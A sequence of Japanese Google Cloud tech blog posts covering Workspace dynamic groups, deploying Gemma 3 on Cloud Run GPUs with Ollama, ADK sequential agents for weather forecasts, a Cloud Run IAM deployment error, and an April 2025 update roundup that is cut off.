G-gen の三浦です。当記事では、Google Workspace の 動的グループ を使用し、Google グループのメンバー管理を自動化する方法を紹介します。 概要 動的グループとは 制約事項 検証内容 検証 動的グループの検証（ユーザーの属性ベース） 設定 動作確認 動的グループの検証（2段階認証が未登録のユーザー） 設定 動作確認 概要 動的グループとは 動的グループ とは、Google Workspace のユーザー情報（役職や勤務地など）に基づいて、メンバーを自動的に管理できる Google グループです。 組織の異動や変化に対応し、管理作業の自動化と効率化を実現します。 使用例 説明 属性ベースの分類 ユーザーの役職や勤務地などの属性に基づいて、メンバーが自動で追加・更新されます。人事異動などに応じた柔軟なグループ管理ができます。 2段階認証（2SV）ベースの分類 2段階認証を無効にしているユーザーのみで構成されるグループです。セキュリティ要件を満たさないユーザーの特定・通知に利用できます。 参考 : 動的グループを使用してメンバーを自動的に管理する 制約事項 動的グループは、以下の特定の Google Workspace エディションでのみ利用できます。 Frontline Standard Enterprise Standard / Plus Education Standard / Plus Enterprise Essentials Plus Cloud Identity Premium 上記に加えて、動的グループではユーザーを手動で直接変更（追加・削除）できず、変更する場合は動的グループの条件修正が必要など、いくつかの制約があります。 詳細は以下の公式ドキュメントをご参照ください。 参考 : 動的グループを使用してメンバーを自動的に管理する 検証内容 検証手順は次のとおりです。 項番 内容 説明 1 動的グループの検証（ユーザーの属性ベース） ユーザーの「役職」が Manager のユーザーを対象に、該当ユーザーが自動的に追加・削除されることを確認します。 2 動的グループの検証（2段階認証が未登録のユーザー） 2段階認証が未登録のユーザーのみを対象に、該当ユーザー（未登録者）が自動的に追加・削除されることを確認します。 検証 動的グループの検証（ユーザーの属性ベース） 設定 GWS の管理コンソール（URL : https://admin.google.com ）にログインします。 参考 : 管理コンソールにログインする [ディレクトリ] > [グループ] > [動的グループを作成] を選択します。 動的グループを作成を選択 [Condition] で以下を選択し、[プレビュー]を選択します。 標準の属性： 役職 演算子： Equals Value：対象の役職名を選択 なお、ここで指定する条件の詳細については以下ドキュメントをご参照ください。 参考 : 動的グループ用のメンバーシップ クエリを作成する 条件の設定とプレビューの選択 対象のユーザーが存在する場合、以下のように表示されます。 プレビュー結果の確認 ユーザーの属性値 表示内容を確認し、[動的グループを作成] を選択します。 動的グループを作成を選択 以下の項目を入力し、[保存] を選択します。 グループ名：グループ名を入力 グループのメールアドレス：メールアドレスを入力 動的グループの作成 作成したグループが表示され、メンバーとして先ほどプレビューで確認したユーザーが登録されていることを確認します。 動的グループの作成確認 動的グループのメンバー確認 動作確認 [ディレクトリ] > [ユーザー] で、前手順で確認したユーザーを選択し、 役職 属性を削除して保存します。 役職属性の削除 動的グループを確認し、属性を削除したユーザーがメンバーでないことを確認します。 メンバーの削除確認 次に他のユーザーを選択し、 役職 属性を追加して保存します。 役職属性の追加 動的グループを確認し、属性を追加したユーザーがメンバーとして表示されていることを確認します。 メンバーの追加確認 動的グループの検証（2段階認証が未登録のユーザー） 設定 [ディレクトリ] > [グループ] > [動的グループを作成] を選択します。 動的グループを作成を選択 [Condition] で以下を選択し、[プレビュー]を選択して対象を確認し、[動的グループを作成] を選択します。 標準の属性： 2段階認証プロセス登録済み 演算子： Equals Value： False ※ True を指定することで、 2段階認証が登録済みのユーザー をグループ化できます。 条件と動的グループを作成を選択 以下の項目を入力し、[保存] を選択します。 グループ名：グループ名を入力 グループのメールアドレス：メールアドレスを入力 動的グループを作成 作成したグループのメンバーとして先ほどプレビューで確認したユーザーが登録されていることを確認します。 動的グループのメンバー確認 動作確認 前手順で確認したユーザーの2段階認証を有効化します。 2段階認証の有効化 グループのメンバー情報をスプレッドシート形式でエクスポートし、2段階認証を有効化したユーザーが登録されていないことを確認します。 メンバー情報のエクスポート エクスポート結果の確認 三浦 健斗 (記事一覧) クラウドソリューション部 2023年10月よりG-genにジョイン。元オンプレ中心のネットワークエンジニア。ネットワーク・セキュリティ・唐揚げ・辛いものが好き。

G-gen の佐々木です。当記事では、Cloud Run における GPU 利用のユースケースとして、オープン LLM である Gemma 3 を Cloud Run のサービスにデプロイしてみます。 前提知識 Cloud Run サービスの概要 Cloud Run における GPU 利用 Gemma 3 Cloud Run にオープン LLM をデプロイするメリット 利用する Gemma 3 モデルのサイズと配置場所について 事前準備 GPU の割り当て増加 シェル変数の設定 Artifact Registry リポジトリの作成 サービスのデプロイ Dockerfile の準備 コンテナイメージのビルド サービスのデプロイ 動作確認 プロキシ経由でサービスに接続 curl コマンドによる確認 シェルスクリプトによるストリーミング出力の処理 スクリプトの内容 シェルスクリプトの実行 前提知識 Cloud Run サービスの概要 Cloud Run は Google Cloud のマネージドなコンテナ実行環境でアプリケーションをホストすることができる、サーバーレス コンテナコンピューティング サービスです。 Cloud Run には、Cloud Run services、Cloud Run jobs、Cloud Run functions（旧称 Cloud Functions）といった分類がありますが、当記事の内容は HTTP リクエストベースのアプリケーションを実行できる Cloud Run services に関するものとなります。 Cloud Run の詳細については、以下の記事をご一読ください。 blog.g-gen.co.jp Cloud Run における GPU 利用 Cloud Run services では GPU の利用がサポートされており、サービスに対して NVIDIA L4 GPU を1つアタッチすることができます。 Cloud Run における GPU の詳細については、以下の記事もご一読ください。 blog.g-gen.co.jp 参考 : GPU support for services Gemma 3 Gemma は Google のマルチモーダル LLM（大規模言語モデル）である Gemini と同様の研究と技術によって開発された、 軽量のオープンモデル ファミリー です。 その中でも Gemma 3 は Gemini 同様のマルチモーダル対応モデルです。Kaggle もしくは Hugging Face からモデルをダウンロードし、オンプレミスなどの多様な環境にデプロイすることができます。 参考 : Gemma models overview 参考 : Gemma 3 model overview Cloud Run にオープン LLM をデプロイするメリット Gemini 等の API ベースの LLM の代わりにオープン LLM を選択する理由として、以下のような例が考えられます。 利用料金を予測可能にしたい（API ベースの LLM はトークン単位の課金であるため、利用料の予測がしづらい） LLM への推論リクエストのレイテンシを抑えたい プロンプトをインターネット経由で送信したくない モデルを要件に合わせてカスタマイズ（ファインチューニング）したい 例えば、GKE を使用して Gemma のようなオープン LLM による推論サービスを展開する場合、クラスタ上の他のサービスから低レイテンシかつセキュアなアクセスが可能となります。 Google Cloud では GKE Inference Quickstart として GKE クラスタに LLM をデプロイするためのベストプラクティスが提供されており、オープン LLM のデプロイが容易になっています。 blog.g-gen.co.jp オープン LLM を GKE クラスタ上に展開する場合と比較して、Cloud Run では ゼロスケール の特徴を活かし、高くなりがちな GPU の利用料を最小限に抑えることができます。 GPU を利用する場合は インスタンスベースの課金 の設定が必須のため、リクエスト単位の料金は発生せず、インスタンスが起動している間の CPU、メモリ、GPU の利用時間で料金が決まります。 参考 : Billing settings for services 利用する Gemma 3 モデルのサイズと配置場所について Gemma 3 は4つのサイズ（ 1B 、 4B 、 12B 、 27B ）が提供されており、一般的には大きなモデル（27B が最大）のほうが性能が高くなりますが、コンピュートリソースやストレージの使用量も大きくなります。 Cloud Run のコンテナインスタンスにモデルをホストする場合、モデルの配置場所としては以下の2つが推奨されています。 コンテナイメージに直接モデルを含める Cloud Storage バケットにモデルを格納し、コンテナインスタンスにバケットをマウントする（もしくは Cloud Storage API などでロードする） Cloud Run はゼロスケールの特徴により、「いかにゼロからのコンテナインスタンスの起動を高速化し、サービス提供が可能な状態にするか」が重要となります。この観点では、インスタンス起動のたびに Cloud Storage バケットからモデルをロードするよりも、コンテナイメージにモデルそのものを含めるのが理想的です。 しかし、使用するモデルのサイズが大きい場合は、それを含めたコンテナイメージが肥大化することで、コンテナインスタンスへのイメージのロードが長くなってしまい、結果的に起動が遅くなってしまいます。 また、Cloud Run に GPU をアタッチする場合、24 GB の GPU メモリ（Cloud Run で設定するメモリ容量とは別）が割り当てられますが、サイズの大きいモデルではこの容量を超えてしまい、メモリ不足エラーとなってしまいます。 以上を考慮して、当記事では2番目に小さいサイズの Gemma 3 4B モデルをコンテナイメージに含める形式でデプロイしていきます。 その他、Cloud Run で GPU を使用して ML モデルをデプロイする場合のベストプラクティスが公式ドキュメントに記載されているので、こちらもご一読ください。 参考 : Best practices: AI inference on Cloud Run with GPUs 事前準備 GPU の割り当て増加 Cloud Run で GPU を使用する場合、Cloud Run Admin API の以下のいずれかの割り当ての増加を行う必要があります。 Total Nvidia L4 GPU allocation without zonal redundancy, per project per region Total Nvidia L4 GPU allocation with zonal redundancy, per project per region 2つの違いは zonal redundancy （ ゾーン冗長性 ）の有無であり、「with zonal redundancy（ゾーン冗長性あり）」の場合は複数ゾーンにまたがる GPU 容量が予約され、ゾーン障害発生時の再ルーティングが正常に行われる可能性を高めることができます。 これはゾーン冗長性が確保される反面、GPU のコストが増加してしまうため、ここでは「without zonal redundancy（ゾーン冗長性なし）」の割り当てを選択します。 当記事では us-central1 の Total Nvidia L4 GPU allocation without zonal redundancy, per project per region の割り当てを増加した状態で進めていきます。 Cloud Run における GPU の割り当て 参考 : GPU support for services - Request a quota increase 参考 : GPU support for services - GPU zonal redundancy options シェル変数の設定 当記事では gcloud CLI を使用してサービスのデプロイを行っていきます。 コマンドで何度か使用する値については、以下のようにシェル変数として設定しておきます。 LOCATION 変数には GPU の割り当てを増加したリージョンを設定します。 PROJECT_ID = < 使用するプロジェクトのID > LOCATION =us-central1 REPO_NAME =myrepo Artifact Registry リポジトリの作成 Cloud Run のサービスは Artifact Registry に格納されたコンテナイメージを使用してデプロイするため、Artifact Registry のリポジトリを作成しておきます。 # Artifact Registry リポジトリを作成する $ gcloud artifacts repositories create ${REPO_NAME} \ --project = ${PROJECT_ID} \ --repository-format = docker \ --location = ${LOCATION} サービスのデプロイ Dockerfile の準備 当記事では以下のドキュメントのチュートリアルを参考に、オープンソースの LLM 推論サーバーである Ollama を使用します。 参考 : Run LLM inference on Cloud Run GPUs with Gemma 3 and Ollama Dockerfile はチュートリアルのものをそのまま利用します。使用するモデル名は MODEL=gemma3:4b として環境変数に格納しています。 FROM ollama/ollama:latest # Listen on all interfaces, port 8080 ENV OLLAMA_HOST=0.0.0.0:8080 # Store model weight files in /models ENV OLLAMA_MODELS=/models # Reduce logging verbosity ENV OLLAMA_DEBUG=false # Never unload model weights from the GPU ENV OLLAMA_KEEP_ALIVE=-1 # Store the model weights in the container image ENV MODEL=gemma3:4b RUN ollama serve & sleep 5 && ollama pull $MODEL # Start Ollama ENTRYPOINT [ " ollama ", " serve " ] コンテナイメージのビルド Cloud Build を使用してコンテナイメージのビルドを行います。 LLM モデルをイメージに含めるため、ビルドには時間がかかります。当記事ではビルドに使用するマシンタイプを大きめのものに変更しています。 # Cloud Build でコンテナイメージをビルドする（5分ほどかかる） $ gcloud builds submit \ --project = ${PROJECT_ID} \ --tag = ${LOCATION} -docker.pkg.dev/ ${PROJECT_ID} / ${REPO_NAME} /ollama-gemma \ --machine-type = e2-highcpu-32 参考 : Increase vCPU for builds サービスのデプロイ GPU を使用する Cloud Run のサービスは、以下のような要件を満たす必要があります。 Cloud Run の設定項目 要件 リージョン GPU がサポートされているリージョン 課金 インスタンス ベース CPU 4 vCPU 以上（推奨値は 8 vCPU） メモリ 16 GiB 以上（推奨値は 32 GiB） 最大インスタンス数 プロジェクトおよびリージョンごとの GPU 割り当て以下の数 これらの要件を考慮し、以下のコマンドで GPU を使用するサービスをデプロイします。 # Cloud Run のサービスをデプロイする $ gcloud run deploy ollama-gemma \ --image = ${LOCATION} -docker.pkg.dev/ ${PROJECT_ID} /myrepo/ollama-gemma \ --project = ${PROJECT_ID} \ --concurrency = 4 \ --cpu = 8 \ --set-env-vars = OLLAMA_NUM_PARALLEL = 4 \ --gpu = 1 \ --gpu-type = nvidia-l4 \ --region = ${LOCATION} \ --max-instances = 1 \ --memory = 32Gi \ --no-allow-unauthenticated \ --no-cpu-throttling \ --timeout = 600 \ --no-gpu-zonal-redundancy 動作確認 プロキシ経由でサービスに接続 IAM 認証が必須のサービスとしてデプロイを行ったため、プロキシ経由で localhost からサービスにアクセスできるようにします。 # Cloud Run プロキシを実行する $ gcloud run services proxy ollama-gemma \ --port = 9090 \ --project = ${PROJECT_ID} \ --region = ${LOCATION} curl コマンドによる確認 まずは curl コマンドを使用して Gemma 3 にプロンプトを送信してみます。 # Gemma 3 にプロンプトを送信する $ curl http://localhost:9090/api/generate -d ' { "model": "gemma3:4b", "prompt": "こんにちは" } ' Gemma 3 からのレスポンスは、以下のようにストリーミング出力として返ってきます。 # Gemma 3 のレスポンス（ストリーミング） { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.104093641Z " , " response " : " こんにちは " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.199941515Z " , " response " : " ！ " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.215202668Z " , " response " : " 何か " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.231207445Z " , " response " : " お手 " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.247411829Z " , " response " : " 伝 " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.263612725Z " , " response " : " い " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.279771458Z " , " response " : " できる " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.295917737Z " , " response " : " ことは " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.312203227Z " , " response " : " あります " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.328437964Z " , " response " : " か " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.344459071Z " , " response " : " ？ " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.360634247Z " , " response " : " 😊 " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.376900745Z " , " response " : " \n " , " done " :false } { " model " : " gemma3:4b " , " created_at " : " 2025-04-28T14:32:50.393123072Z " , " response " : "" , " done " :true, " done_reason " : " stop " , " context " : [ 105 , 2364 , 107 , 85141 , 106 , 107 , 105 , 4368 , 107 , 85141 , 237354 , 98662 , 203956 , 239542 , 236985 , 17125 , 41277 , 17442 , 237116 , 237536 , 103453 , 107 ] , " total_duration " :10339392249, " load_duration " :8644663671, " prompt_eval_count " :10, " prompt_eval_duration " :1399382225, " eval_count " :14, " eval_duration " :290193270 } シェルスクリプトによるストリーミング出力の処理 スクリプトの内容 シェルスクリプトで Gemma 3 からのストリーミング出力を処理できるようにしてみます。 vi コマンドなどを使用してシェルスクリプトを作成します。当記事ではファイル名を gemma-client.sh とします。 シェルスクリプトの内容は以下のようにします。 #!/bin/bash # LLM APIのエンドポイントURL API_URL = " http://localhost:9090/api/generate " # 使用するLLMモデル名 MODEL_NAME = " gemma3:4b " # jqコマンドがインストールされているか確認 if ! command -v jq &> /dev/null ; then echo " エラー: jq コマンドが見つかりません。 " >& 2 echo " このスクリプトを実行するには jq をインストールしてください。 " >& 2 echo " 例: sudo apt update && sudo apt install jq (Debian/Ubuntu) " >& 2 echo " brew install jq (macOS) " >& 2 exit 1 fi echo " LLM ストリーミングクライアント " echo " いつでも Ctrl+C で終了できます。 " echo " ------------------------------------- " # 無限ループでプロンプト入力を待つ while true; do # プロンプトの入力を求める echo -n " プロンプトを入力してください: " read user_prompt # 入力が空の場合はループを続ける if [ -z " $user_prompt " ]; then echo " プロンプトが入力されませんでした。もう一度試してください。 " continue fi echo echo " --- LLMからの応答 --- " # jq を使って安全にJSONペイロードを作成 # これにより、プロンプト内の特殊文字（引用符など）が正しくエスケープされる json_payload = $( jq -n \ --arg model " $MODEL_NAME " \ --arg prompt " $user_prompt " \ ' {model: $model, prompt: $prompt} ' ) # curlでリクエストを送信し、レスポンスをパイプで処理 # -s: 進捗メッセージを表示しない # -N: バッファリングを無効にし、ストリーミングを可能にする curl -s -N -X POST " $API_URL " \ -H " Content-Type: application/json " \ -d " $json_payload " | \ while IFS = read -r line; do # ストリームから1行ずつ読み込む # lineが空でないことを確認 if [ -n " $line " ]; then # jqを使ってレスポンスと完了フラグを抽出 # jqに無効なJSONが渡された場合のエラーを抑制するために 2>/dev/null を追加することも検討 response_part = $( echo " $line " | jq -r ' .response ' 2 > /dev/null ) done_flag = $( echo " $line " | jq -r ' .done ' 2 > /dev/null ) # jqの実行に失敗した場合（例: JSONが壊れている）、エラーを出力して次の行へ if [ $? -ne 0 ]; then echo " [警告] 無効なJSON行を受信しました: $line " >& 2 continue fi # doneフラグがfalseの場合、responseの内容を表示 if [ " $done_flag " == " false " ]; then echo -n " $response_part " # doneフラグがtrueの場合、この応答ストリームは終了 elif [ " $done_flag " == " true " ]; then break fi fi done echo echo " -------------------- " echo done exit 0 シェルスクリプトの実行 作成したシェルスクリプトを実行します。 # ファイルの実行権限を編集する $ chmod +x gemma-client.sh # シェルスクリプトを実行する $ ./gemma-client.sh このシェルスクリプトは、入力されたプロンプトを Gemma 3 に送信し、ストリーミングで返ってくるレスポンスを一文字ずつ表示します。 # 実行例 $ ./gemma-client.sh LLM ストリーミングクライアント いつでも Ctrl+C で終了できます。 ------------------------------------- プロンプトを入力してください: Cloud Runを 100 文字程度で説明して --- LLMからの応答 --- Cloud Runは、コンテナ化されたアプリケーションを簡単に実行できるサーバーレスプラットフォームです。自動スケーリング、高い可用性、従量課金制といったメリットがあり、WebアプリケーションやAPIのデプロイに最適です。 -------------------- 佐々木 駿太 (記事一覧) G-gen最北端、北海道在住のクラウドソリューション部エンジニア 2022年6月にG-genにジョイン。Google Cloud Partner Top Engineer 2025 Fellowに選出。好きなGoogle CloudプロダクトはCloud Run。 趣味はコーヒー、小説（SF、ミステリ）、カラオケなど。 Follow @sasashun0805

G-gen の堂原です。本記事では Google Cloud の Agent Development Kit の機能である、複数の AI エージェントを連携させる Sequential agents の概念と実装方法について、天気予報エージェントの開発を通して解説します。 概要 Agent Development Kit（ADK）とは Sequential agents 処理の概要 AI エージェントの実装 ユーザの都市の現在日付を取得 現在日付から明日の日付を求める Google 検索で天気予報を取得 Sequential agents による連結 動作検証 概要 Agent Development Kit（ADK）とは Agent Development Kit （以下、ADK）は、Google Cloud が提供する、AI エージェントを構築するための Python ライブラリです。ADK を使用することで、エージェントへの関数処理組み込みや外部ツールの利用、マルチエージェントの実装が行えます。 ADK の基本的な使い方については、以下の記事で紹介していますのでご参照ください。 blog.g-gen.co.jp Sequential agents ADK の Sequential agents は、複数の AI エージェントを順番に実行し、前のエージェントの出力を次のエージェントの入力として渡すことで、複雑なタスクを実行するためのワークフローを構築する機能です。 これにより、タスクをより小さく管理しやすいステップに分割し、各ステップを個別のエージェントに担当させることができます。なお、このように複数のエージェントが連携してタスクを行うエージェントを、 マルチエージェント と呼びます。 参考 : Sequential agents 参考 : Multi-Agent Systems in ADK 処理の概要 当記事では、指定された都市の明日の天気予報を回答する AI エージェントを開発します。 Google の Gemini アプリに「東京の明日の天気を教えて」と質問した場合の思考プロセスを参考に、エージェントの処理フローを設計します。 The user wants to know the weather in Tokyo tomorrow. Since the current date is May 1, 2025, "tomorrow" refers to May 2, 2025. I need to search for the weather forecast for Tokyo on May 2, 2025. 処理の流れは以下のとおりです。 ユーザから指定された都市の現在の日付を求める 現在の日付から明日の日付を求める 指定された都市の名前と明日の日付をもとに、Google 検索を用いて天気予報を求める AI エージェントの実装 ユーザの都市の現在日付を取得 ユーザから指定された都市の現在の日付を求める AI エージェント「current_date_agent」を作成します。 from datetime import datetime, timedelta, timezone from google.adk.agents import LlmAgent def get_current_date (time_difference: int ) -> str : """Return the current date expressed in the format %m月%d日. Args: time_difference (int): Time difference from Coordinated Universal Time (UTC) Returns: str: Current time expressed in the format %m月%d日 """ tz = timezone(timedelta(hours=time_difference)) now = datetime.now(tz) return now.strftime( "%m月%d日" ) current_date_agent = LlmAgent( name= "current_date_agent" , model= "gemini-2.0-flash" , description= "Agent to answer questions about the current date." , instruction=( "You are a helpful agent that answers questions about the current date." "First, guess the time difference from Coordinated Universal Time (UTC) for the city specified by the user." "Then, retrieve the current date based on the time difference using the `get_current_date` tool." "Be sure to include the city name and the current date in the `%m月%d日` format in your answer." ), tools=[get_current_date], output_key= "current_date" ) get_current_date 関数は UTC との時差を引数として受け取り、 %m月%d日 形式で現在日付を返します。 LlmAgent の instruction で AI エージェントの振る舞いを定義し、 tools に利用可能なツールとして get_current_date 関数を指定しています。 output_key="current_date" とすることで、このエージェントの出力が current_date というキーで後続のエージェントに渡されるようになります。 現在日付から明日の日付を求める current_date_agent の処理結果を受けて、明日の日付を計算する AI エージェント tomorrows_date_agent を作成します。 from pydantic import BaseModel, Field from google.adk.agents import LlmAgent class DateOutput (BaseModel): city: str = Field(description= "A city name" ) date: str = Field(description= "A date in the format `%m月%d日`" ) tomorrows_date_agent = LlmAgent( name= "tomorrows_date_agent" , model= "gemini-2.0-flash" , instruction=( "You are a helpful agent that answers tomorrow's date for a specified city." "You are given the city name and the current date as input." "Be sure to include the city name and tomorrow's date in the `%m月%d日` format in your answer." "**the city name and the current date**" "{current_date}" ), output_schema=DateOutput, output_key= "tomorrow_date" ) instruction 内の {current_date} には、前の AI エージェント current_date_agent の出力が埋め込まれます。 このエージェントでは、Pydantic を用いて出力データのスキーマ（DateOutput）を定義し、 LlmAgent の output_schema に指定しています。これにより、エージェントの出力フォーマットを JSON 形式で固定化できます。 注意点として、 output_schema を設定した場合、同一の LlmAgent において、 tools を同時に使用することはできません。 この場合以下のようなエラーが発生します。 pydantic_core._pydantic_core.ValidationError: 1 validation error for LlmAgent Value error, Invalid config for agent current_date_agent: if output_schema is set, tools must be empty [type=value_error, input_value={'name': 'current_date_ag...ut_key': 'current_date'}, input_type=dict] For further information visit https://errors.pydantic.dev/2.11/v/value_error Google 検索で天気予報を取得 都市名と明日の日付を基に Google 検索を行い、天気予報を取得する AI エージェント tomorrows_weather_agent を作成します。 from pydantic import BaseModel, Field from google.adk.tools import google_search from google.adk.agents import LlmAgent class DateOutput (BaseModel): city: str = Field(description= "A city name" ) date: str = Field(description= "A date in the format `%m月%d日`" ) tomorrows_weather_agent = LlmAgent( name= "tomorrows_weather_agent" , model= "gemini-2.0-flash" , instruction=( "You are a helpful agent that answers tomorrow's weather for a specified city." "You are given the city name and the tomorrow's date as input." "Be sure to include the city name and tomorrow's date in the `%m月%d日` format and tomorrow's weather in your answer." "**the city name and the tomorrow's date**" "{tomorrow_date}" ), input_schema=DateOutput, tools=[google_search] ) instruction 内の {tomorrow_date} には、前のエージェントの出力が埋め込まれます。 input_schema=DateOutput とすることで、この AI エージェントに渡される入力データのフォーマットを DateOutput スキーマに指定しています。 tools に google_search を指定することで、Google 検索によるグラウンディングを行うことができます。 参考 : Built-in tools - Agent Development Kit Sequential agents による連結 最後に、これらの AI エージェントを Sequential agents を用いて連結し、一つのワークフローとして実行できるようにします。 from google.adk.agents import SequentialAgent root_agent = SequentialAgent( name= "tomorrows_date_agent" , sub_agents=[current_date_agent, tomorrows_date_agent, tomorrows_weather_agent] ) SequentialAgent の sub_agents に、実行したいエージェントをリストとして渡します。リストの順番通りにエージェントが実行され、前のエージェントの出力が次のエージェントの入力として自動的に渡されます。 動作検証 ADK では、ローカルで作成した AI エージェントを簡単に検証できる開発用 UI が用意されています。この UI を立ち上げるまでの流れは、以下のドキュメントで紹介されています。 参考 : Quickstart - Agent Development Kit この開発用 UI を用いて、作成した天気予報エージェントに「東京の明日の天気を教えて」や「大阪の明日の天気を教えて」といったクエリを投げて動作検証を行います。 上部：Gemini アプリの回答 / 下部：作成した AI エージェントの回答 作成した AI エージェントの回答と、Gemini アプリでの回答が共に同じ予報を返していることが確認できました。これらの値は、実際に各天気予報サイトで発表されている予報とも合致していました。 堂原 竜希 (記事一覧) クラウドソリューション部クラウドエクスプローラ課。2023年4月より、G-genにジョイン。 Google Cloud Partner Top Engineer 2023, 2024, 2025に選出 (2024年はRookie of the year、2025年はFellowにも選出)。休みの日はだいたいゲームをしているか、時々自転車で遠出をしています。 Follow @ryu_dohara

G-gen の武井です。Cloud Run をデプロイする際、従来アクセスできていた Artifact Registry への読み込みがエラーになる事象に遭遇しましたので、当記事ではその原因と対処方法について説明します。 事象 事象の概要 環境構成 IAM ポリシー 原因 対処方法 事象 事象の概要 これまで問題なく実行できていた Cloud Run サービスへのデプロイが、何も構成変更を行っていないのにも関わらず、エラー終了しました。 Cloud Logging に記録されていたエラーログは以下の通りでした。 "message": "User must have permission to read the image, asia-northeast1-docker.pkg.dev/プロジェクト ID/リポジトリ名/イメージ名:latest. Ensure that the provided container image URL is correct and that the above account has permission to access the image. If you just enabled the Cloud Run API, the permissions might take a few minutes to propagate. Note that the image is from project [プロジェクト ID], which is not the same as this project [Cloud Run 側のプロジェクト ID]. Permission must be granted to the User from this project. See https://cloud.google.com/run/docs/deploying#other-projects \n Cause: 403 Forbidden\nGET https://asia-northeast1-docker.pkg.dev/v2/ プロジェクト ID/リポジトリ名/イメージ名/manifests/latest \n{\"errors\":[{\"code\":\"DENIED\",\"message\":\"Permission \\"artifactregistry.repositories.downloadArtifacts\\" denied on resource \\"projects/プロジェクト ID/locations/asia-northeast1/repositories/リポジトリ名\\" (or it may not exist)\"}]}\n" 当該環境では Cloud Run API が有効であり、リポジトリ名にも間違いのないことから、Cloud Run をデプロイするプリンシパル（サービスアカウント）に artifactregistry.repositories.downloadArtifacts が不足していることが原因ではないかと推察されました。 環境構成 当エラーが発生した際の環境構成は以下の通りです。 GitHub Actions で Artifact Registry に Docker イメージをプッシュするところまでは成功しましたが、そのイメージを使って Cloud Run サービスをデプロイする際に、エラーが発生しました。 なお、GitHub Actions はサービスアカウントによる Workload Identity 連携を用いており、後述する権限を付与していました。 IAM ポリシー 当事象が発生した際の IAM ポリシーは、以下の通りでした。 # プリンシパル 事前定義 IAM ロール ロール付与対象リソース ① GitHub Actions 用サービスアカウント Cloud Run デベロッパー（ roles/run.developer ） Cloud Run をデプロイするプロジェクト ② Cloud Run サービスエージェント Artifact Registry 読み取り（ roles/artifactregistry.reader ） Artifact Registry があるプロジェクト インフラ管理用の GitHub Actions が使用するサービスアカウントについては、Cloud Run デベロッパー以外にも、各リソースを管理する上で必要最小限の事前定義 IAM ロールを付与していました。 また、Cloud Run と Artifact Registry が異なるプロジェクトにある場合は、Artifact Registry 読み取り権限を Cloud Run サービス エージェントに付与する必要があります。 参考： Cloud Run へのデプロイ 原因 当事象の原因は、 Cloud Run の事前定義 IAM ロールの仕様変更 でした。Google 側で IAM ロールに関する仕様の変更があったため、従来は問題なく動作していたオペレーションが、エラーを起こすようになってしまったものです。 2024年11月25日、Google から管理者あてにメールの一斉配信があり、Cloud Run のデプロイに使用することができる事前定義の IAM ロール「 Cloud Run 管理者 （ roles/run.admin ）」や「 Cloud Run デベロッパー （ roles/run.developer ）」に 暗黙的に 付与されていた Artifact Registory の読み取り権限が順次削除されることが発表されました。この変更は2025年1月15日（米国時間）以降、順次行われています。 この仕様変更により、イメージの参照・ダウンロードができなくなり、結果として Cloud Run のデプロイが失敗するようになりました。 仕様変更に関する詳細は、以下の記事で詳しく解説しています。 blog.g-gen.co.jp 対処方法 今回の場合、GitHub Actions で用いるサービスアカウントに関連する IAM ポリシーを以下のように修正（①-2 を追加定義）することで、デプロイエラーを解消することができました。 # プリンシパル 事前定義 IAM ロール ロール付与対象リソース ①-1 GitHub Actions 用サービスアカウント Cloud Run デベロッパー（ roles/run.developer ） Cloud Run をデプロイするプロジェクト ①-2 GitHub Actions 用サービスアカウント Artifact Registry 読み取り（ roles/artifactregistry.reader ） Artifact Registry があるプロジェクト ② Cloud Run サービスエージェント Artifact Registry 読み取り（ roles/artifactregistry.reader ） Artifact Registry があるプロジェクト 武井 祐介 (記事一覧) クラウドソリューション部クラウドエンジニアリング課。 Google Cloud Partner Top Engineer 2025 選出。 趣味はロードレースやサッカー観戦、あとはゴルフと筋トレ。 Follow @ggenyutakei

G-gen の杉村です。2025年4月のイチオシ Google Cloud（旧称 GCP）アップデートをまとめてご紹介します。記載は全て、記事公開当時のものですのでご留意ください。 はじめに Google Cloud Next '25 が開催 IAM の基本ロールが刷新（Preview） BigQuery のユーザー定義関数（UDF）が Python に対応（Preview） BigQuery ML で 生成 AI 関数 AI.GENERATE_* が登場（Preview） Vertex AI Agent Builder が AI Applications に改名 BigQuery マテリアライズドビューのスマートチューニングが改善 Cloud Run が Identity-Aware Proxy（IAP）をネイティブにサポート（Preview） Google ドキュメントと Gmail の Help me write 機能が日本語に対応 Gemini アプリの Deep Research で Gemini 2.5 Pro が利用可能に Gemini in BigQuery の料金体系が改定 Google Docs のコードブロックが追加のプログラミング言語に対応 Gemini 2.5 Flash が利用可能に（Preview） BigQuery に費用ベースの CUD（確約利用割引）が登場 Google グループが Looker グループにミラーできるように Firestore に確約利用割引（CUD）が登場 Compute Engine で C4D マシンタイプが登場（Preview） BigQuery でクエリごとに reservation を指定可能に（Preview） BigQuery で Reservation-based fairness が利用可能に（Preview） データキャンバスで Gemini assistant が利用可能に（Preview） 組織外から共有されたファイルを開いたときに警告を表示 NotebookLM の「音声概要」が日本語に対応 Google Vids がほとんどのエディションに付帯 Looker で Period-over-period measures（前期比メジャー）が利用可能に Looker（Google Cloud Core）で手動バックアップが利用可能に Dataplex automatic discovery in BigQuery が GA はじめに 当記事では、毎月の Google Cloud（旧称 GCP）や Google Workspace（旧称 GSuite）のアップデートのうち、特に重要なものをまとめます。 また当記事は、Google Cloud に関するある程度の知識を前提に記載されています。前提知識を得るには、ぜひ以下の記事もご参照ください。 blog.g-gen.co.jp リンク先の公式ガイドは、英語版で表示しないと最新情報が反映されていない場合がありますためご注意ください。 Google Cloud Next '25 が開催 Google Cloud の旗艦イベントである Google Cloud Nextが、2025年4月9日(水)から11日(金)までの3日間、米国ラスベガスで開催。 キーノートでは、重要な技術アップデートが発表された。 blog.g-gen.co.jp 